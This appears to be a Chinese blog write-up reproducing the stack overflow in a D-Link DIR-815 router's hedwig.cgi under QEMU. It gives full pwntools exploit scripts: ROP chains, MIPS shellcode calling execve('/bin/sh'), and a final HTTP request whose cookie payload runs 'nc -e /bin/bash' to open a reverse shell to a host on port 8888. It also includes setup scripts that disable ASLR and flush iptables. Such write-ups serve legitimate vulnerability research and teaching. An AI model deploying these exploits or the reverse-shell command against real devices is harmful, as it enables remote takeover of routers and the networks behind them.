DIR-815
仔细研读了winmt师傅和ZIKH26师傅的复现,现在自己来复现一遍
漏洞详情
静态分析
该部分可以看ZIKH26师傅的blog,原本是想在师傅的分析上补充的,但是事情太多了,最后看的脑子疼,只能暂且搁置了
动态调试
确认libc_base
由于该gdb是链接在qemu模式下的,因此不能直接通过vmmap得到libc基址,而直接libc又因为权限不足无法使用,又因为这个路由设备的真机就是没有开地址随机化的,因此我们只需要**通过找一个libc
函数地址减去偏移来得到libc_base
**,而因为“延迟绑定的特性”,要找两个使用libc函数的地址
可以得到memset的地址在0x7f76ca20
可以得到libc_base=0x7f76ca20-0x034A20=0x7F738000
确认溢出大小
首先,cyclic 2000 > payload
,将生成的2000
个字符存放到payload
文件中,再用以下shell
脚本:
1 2 3 4 5 6 7
| #!/bin/bash INPUT="winmt=pwner" LEN=$(echo -n "$INPUT" | wc -c) cookie="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
|
得到了libc_base和溢出大小,现在就要寻找对应的gadget来提权
此时的寄存器为
发现S8恰好为返回地址的上一位,S7,S6直到S0逐渐递减,因此可以控制S0-S8以此构造ROP链
qemu用户模式复现
寻找ROPgadget
复习一下gadget的寻找
其中比较重要的是$v0为函数返回值存放的寄存器,$ra存在返回地址,$a0-$a3存在函数的四个调用参数,当需要使用更多的寄存器时,就需要堆栈(stack)了,需要注意的是MIPS编译器总是为参数在堆栈中留有空间以防有参数需要存储。
因此对于使用ROP进行一般的函数操作来说,寄存器的四个参数已经足够了,因此控制这个四个寄存器对于ROP来说比较关键。
在uclibc库中,有几个比较关键的gadget,在scandir
的尾部或者scandir64
的尾部,从图上看基本上可以设置所有寄存器值,从s0-s7
有一条比较常规的ROP链,执行的整体流程为 sleep(1) -> read_value_from_stack -> jump to stack(shellcode)
布置ROP链
system
地址末两位是\x00
,而sprintf
会被\x00
截断,因此这里采用的方法是:读进去system_addr - 1
,再找到addiu ..., 1
的gadget
对其操作后再跳转过去。
因此得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import* context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base=0x7F738000
payload=973*b'A' payload+=p32(libc_base+0x53200-1) payload+=4*b'A' payload+=p32(libc_base+ 0x6DFD0) payload+=4*b'A' payload+=4*b'A' payload+=p32(libc_base+ 0x15B74) payload+=4*b'A' payload+=4*b'A' payload+=4*b'A' payload+=p32(libc_base + 0x000158C8) payload=b'uid=' + payload
post_content=b's1nec-1o=pwnner'
io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """, shell = True)
io.send(post_content)
io.interactive()
|
看了winmt师傅的博客说是用户模式该方法打不通的原因是:这里的system
函数中有调用fork()
函数,而用户模式是不支持多线程的,这里fork()
的失败,会导致后面$fp
是个空指针,就会出错,之后在系统模式打就不会出问题了。
这里就出问题了
ret2shellcode
到这里需要布置shellcode链,这种做法就不会导致system中的fork使得打不通,因为是直接调用execve,而因为sprintf的0截断,因此shell里不能出现\x00,还要注意不能出现缓存不一致性(需要一个时间来同步),因此先调用一下sleep(1),再去执行shellcode
这里还需要提到一个点,因此调用的sleep函数,他的栈会往下移,因此ra和s寄存器的值所在的位置会不一样,我是通过调试确定的,先调试:
这是先借用winmt师傅的poc,这是到达sleep函数的栈位置可以看到调用sleep的地址-04c与ra所在的地址-004相差了0x48,即18个地址长度,第18个地址就是ra了,再看sleep的源码前面部分:
发现只有s4-s0,因此可以以此构造ROP链,跳到shellcode,实现ret2shellcode
在构造ROP链的时候还遇到了很多问题,在jalr到sleep函数的时候,建议间接跳转,因为在sleep函数中会调用各种寄存器,取地址上的值时必须保证寄存器为有效数,而通过间接跳转时,例如在跳转和sleep中间再多加一条链,这样相当于重置寄存器,因为有些寄存器例如gp不会保存就会一直使用等等
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import* context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x7F738000 payload=b'A'*0x3cd payload+=b'A'*4 payload+=p32(libc_base + 0x436D0) payload+=b'A'*4 payload+=p32(libc_base + 0x56BD0) payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=p32(libc_base+0x57E50) payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=b'A'*4 payload+=p32(libc_base+0x57E50) payload+=p32(libc_base+0x13F74)
shellcode=asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''')
post_content='s1nec-1o=pwner' payload+=0x18*b'A' payload+=shellcode
payload=b'uid='+payload io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """, shell = True) io.send(post_content) io.interactive()
|
此时就成功getshell了
但是ZIKH26师傅:这里执行 execve("/bin/sh")
成功其实是一种假象,因为固件中的 /bin/sh
链接到了 busybox
上,虽然 busybox
是静态链接,但因为它是 MIPS
架构,导致了我在 x64
上直接执行是失败的。因此我上面是把原本的 sh
给删掉,换成了主机自带的 x64
架构的 sh
,同时还把相应的动态库都放到了当前的 /lib
下面,才算执行成功。不然用原本的 sh
还是执行失败,这么做的目的仅仅是为了证明这种操作理论上是可以拿到 shell
的
qemu系统模式复现
实现宿主机与 qemu
的通信
创建一个 net.sh
脚本,我这里的网卡是 ens33
,如果是 eth0
的话,就把出现的 ens33
换成 eth0
即可,chmod +x net.sh
给文件可执行权限,然后 ./net.sh
运行
1 2 3 4 5 6 7 8 9 10 11 12
| #!/bin/sh
sudo brctl addbr br0 sudo brctl addif br0 ens33 sudo brctl stp br0 off sudo brctl setfd br0 1 sudo brctl sethello br0 1 sudo ifconfig br0 0.0.0.0 promisc up sudo ifconfig ens33 0.0.0.0 promisc up sudo dhclient br0 sudo brctl show br0 sudo brctl showstp br0
|
然后再执行如下几条命令
1 2 3 4 5
| #!/bin/sh sudo tunctl -t tap0 -u root sudo brctl addif br0 tap0 sudo ifconfig tap0 0.0.0.0 promisc up sudo brctl showstp br0
|
再用下面这个脚本启动
1
| sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
|
这个系统的链接是ZIKH26师傅的链接:https://pan.baidu.com/s/1-qvt7pG0Tr91JKoH2elNdQ?pwd=l04v提取码:l04v
确保此时的系统可以ping通物理机,以便之后的传输文件
启动 httpd
服务
在 squashfs-root
的上一级目录中,执行下面的命令, IP
换成 qemu
的。这样可以实现计算机远程之间的文件传输,作用就是把提取出来的文件系统传到 qemu
里面
1
| sudo scp -r ./squashfs-root root@10.214.140.139:/root/squashfs-root
|
然后在 qemu
中的 squashfs-root
目录下新建一个 http_conf
文件
写入以下代码(网卡和 IP
port
要改成自己的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| Umask 026 PIDFile /var/run/httpd.pid LogGMT On ErrorLog /log
Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 }
Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } }
Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 Address 192.168.121.128 Port "80" Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
然后在物理机上 /opt/tools/mipsel
目录(没有的话就自己创建吧)中新建 init.sh
文件,写入如下配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
|
给这个 init.sh
,可执行权限,然后将其执行
然后在 qemu
中的 squashfs-root
目录下创建 init.sh
文件,写入下面的内容。给可执行权限,然后执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
|
最后进到 /squashfs-root/sbin
目录下,执行 ./httpd -f /root/squashfs-root/http_conf
在宿主机中访问 http://10.214.140.139/hedwig.cgi
发现可以正常访问了(如下)
这是为了之后的打exp做准备
开启 httpd
服务后,如果要进行调试则需要下载一个 gdbserver.mipsle ,然后再用 scp
命令将其上传到 qemu
中的 /root/squashfs-root/
目录下。
在 qemu
中 /root/squashfs-root/
目录下新建 run.sh
脚本(IP
改成宿主机的,端口)
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "winmt=pwner"|./gdbserver.mipsle 10.214.140.140:7788 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
|
但是这里我报了一个错误,跟ZIKH26师傅一样
ZIKH26师傅说可能是pwndbg对数据包的解析(推测
我原本的想法是将gdb整个的版本降低到对应的版本,但是因为操作问题就搁置了。。。如果有人找到解决方法希望能教一下我(本人纯菜
这里是直接运行hedwig.cgi的同时还cat /proc/pid/maps得到的内存布局
但是不知道为什么我的libc版本好像跟网上的师傅有出入,导致libc基址不一样
先是nv -lvnp 8888
,然后运行以下XP即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * import requests context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.121.128 8888' libc_base = 0x2aadc000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) payload += p32(libc_base + 0x169C4) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) payload += b'a'*0x18 payload += cmd url = "http://192.168.121.128/hedwig.cgi" data = {"winmt" : "pwner"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "11" } res = requests.post(url = url, headers = headers, data = data) print(res)
|
但是我一直打不通,或许是libc基址的问题。。。。。因为无法调试所以就。。。。。没法子